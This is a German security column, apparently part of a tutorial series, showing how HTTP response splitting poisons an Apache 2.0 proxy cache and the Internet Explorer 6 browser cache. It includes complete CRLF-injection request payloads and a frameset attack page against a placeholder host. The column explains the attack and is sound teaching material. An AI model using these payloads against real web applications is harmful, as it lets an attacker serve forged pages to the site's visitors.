Die praktische Durchführung der in About Security #21 und #22 beschrieben HTTP-Response-Splitting-Angriffe ist das Thema dieser Folge von About Security. Sie erfahren, wie Web- und Browsercaches mit falschen Informationen vergiftet werden können.
Apache 2.0 mit mod_proxy und mod_cache ist ein leichtes Ziel für die Cache-Vergiftung, da Nachrichten an ihren logischen Grenzen erkannt werden und Pipelining unterstützt wird. Um den Cache zu vergiften, werden drei HTTP-Requests benötigt: Der erste sorgt dafür, dass die Seite im Cache ungültig wird. Der zweite startet das HTTP Response Splitting, und dem dritten wird die eingeschleuste HTTP-Response zugeordnet.
Webcache vergiften: Apache 2.0
Um die gewünschte Seite aus dem Cache zu entfernen, wird im ersten HTTP-Request ein Pragma: no-cache-Header mitgeschickt:
GET http://www.opfer.example/index.html HTTP/1.1
Pragma: no-cache
Host: www.opfer.example
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/jpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8N E U ! Security
aktuell
Täglich aktuelle Security-Infos!
Die verwundbare Seite soll wie in About Security
#21
wieder /redir_lang.jsp sein. In der
gefälschten
HTTP-Response muss ein Last-Modified-Header mit einem Datum in der
Zukunft
enthalten sein, im Beispiel der 31. Dezember 2010.
Für den
HTTP-Response-Splitting-Angriff ergibt sich damit (nach Amit Klein,
"Divide and Conquer - HTTP Response Splitting, Web Cache
Poisoning Attacks, and Related Topics",
(PDF))
folgender HTTP-Request:
GET http://www.opfer.example/redir_lang.jsp?lang=%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified
:%20Fri,%2031%20Dec%202010%2001:23:45%20GMT%0d%0aContent-Leng
th:%2023%0d%0aContentType:%20text/html%0d%0a%0d%0a<html>Gesch
afft!</html> HTTP/1.1
Host: www.opfer.example
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/jpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8Jetzt fehlt noch die Anforderung der zu vergiftenden Seite:
GET http://www.opfer.example/index.html HTTP/1.1
Host: www.opfer.example
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept: image/gif, image/jpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8Apache cached keine Quellen, deren URL mit einem / endet. Daher kann das Beispiel http://www.opfer.example/ nicht vergiftet werden. Das Vergiften von http://www.opfer.example/index.html ist jedoch möglich.
Was passiert?
Beim Empfang des ersten HTTP-Requests wird die Seite index.html
vom Cacheserver beim Webserver angefordert, aufgrund des Pragma:
no-cache-Headers aber nicht gecached. Eine eventuell im
Cache
vorhandene Version wird verworfen. Der zweite HTTP-Request löst zwei
HTTP-Responses aus (siehe About Security
#21). Die zweite, gefälschte
HTTP-Response wird dem dritten HTTP-Request
zugeordnet, wodurch der Cache vergiftet wird. Wird danach
http://www.opfer.example/index.html aufgerufen,
wird das in den
Cache eingeschleuste <html>Geschafft!</html>
zurückgeliefert.
Browsercache vergiften: Internet Explorer 6.0 SP1
Der Internet Explorer verwendet Puffergrenzen zur Erkennung der Nachrichtengrenzen. Der verwendete Puffer fasst 1.024 Bytes. Die zweite HTTP-Response muss daher an einer 1.024-Byte-Grenze beginnen, um korrekt erkannt zu werden. Außerdem werden bis zu vier TCP-Verbindungen zum Empfang von Daten verwendet. Dadurch ist nicht sichergestellt, dass zwei HTTP-Requests über die gleiche TCP-Verbindung gesendet werden. Als weitere Schwierigkeit müssen u.a. HTTP-Requests und -Responses in der richtigen Reihenfolge gesendet bzw. empfangen werden und es darf kein TCP FIN vom Server empfangen werden. Für einen erfolgreichen Angriff müssen viele HTTP-Requests in schneller Folge gesendet werden, in der Hoffnung, dass zwei passende HTTP-Requests über die gleiche TCP-Verbindung gesendet werden.
Um die erforderlichen HTTP-Requests mehrmals zu senden, kann eine Frame-Seite mit einer Reihe identischer Frames verwendet werden (Bsp. nach obigen Whitepaper):
<frameset cols="5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,5%,
5%,5%,5%">
<frame src="http://www.opfer.example/redir_lang.jsp?lang=%0d%0aConne
ction:%20Keep-Alive%0d%0a%0d%0aAAAAAAAA
... [Auffüllen auf 1024 Bytes]...
AAAAAAAAAAAAAAHTTP/1.1%20200%20OK%0d%0aContentType:%20text/html%0
d%0aLastModified:%20Fri,%2031%20Dec%202010%2001:23:45%20GMT%0d%0a
ContentLength:%2045%1d%0a%0d%0a<html>Cache%20erfolgreich%20vergif
tet!</html>
">
<frame src="http://www.opfer.example/index.html"> ... [9 weitere dieser <frame>-Paare] ...
</frameset>Es werden je zehn HTTP Response Splitting Requests gesendet, jeweils gefolgt von einem HTTP-Request für die zu vergiftende Seite. Im Erfolgsfall wird dadurch der Browser-Cache vergiftet. Dabei wird davon ausgegangen, dass bei jedem Besuch einer Seite nach einer neueren Version gesucht wird als der im Cache vorgehaltenen.
Statt einer Seite mit mehreren Frames können auch XMLHttpRequests für den Angriff verwendet werden.
Außer zum Vergiften von Caches kann HTTP Response Splitting auch für Cross-Site-Scripting-Angriffe und das Entführen von Webseiten mit sensitiven Informationen verwendet werden. Diese Angriffe werden ab der nächsten Folge vorgestellt.
Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!
About Security – Übersicht zum aktuellen Thema "Sichere Webanwendungen"
- About Security #11: SQL Injection
- About Security #12: SQL Injection verhindern
- About Security #13: Mit Stored Procedures gegen SQL Injection
- About Security #14: Cross-Site Scripting
- About Security #15: Cross-Site Scripting verhindern
- About Security #16: Skriptcode einschleusen
- About Security #17: HTTP Request Smuggling
- About Security #18: Spielarten des HTTP Request Smuggling, 1
- About Security #19: Spielarten des HTTP Request Smuggling, 2
- About Security #20: HTTP Request Smuggling erkennen und verhindern
- About Security #21: HTTP Response Splitting, 1
- About Security #22: HTTP Response Splitting, 2
- About Security #23: Caches vergiften
- About Security #24: Caches indirekt vergiften
- About Security #25: Entführen von Webseiten
- About Security #26: Gefahren für Webanwendungen
- About Security #27: Gefahren für Webserver
- About Security #28: Standorte für Webserver
Kommentare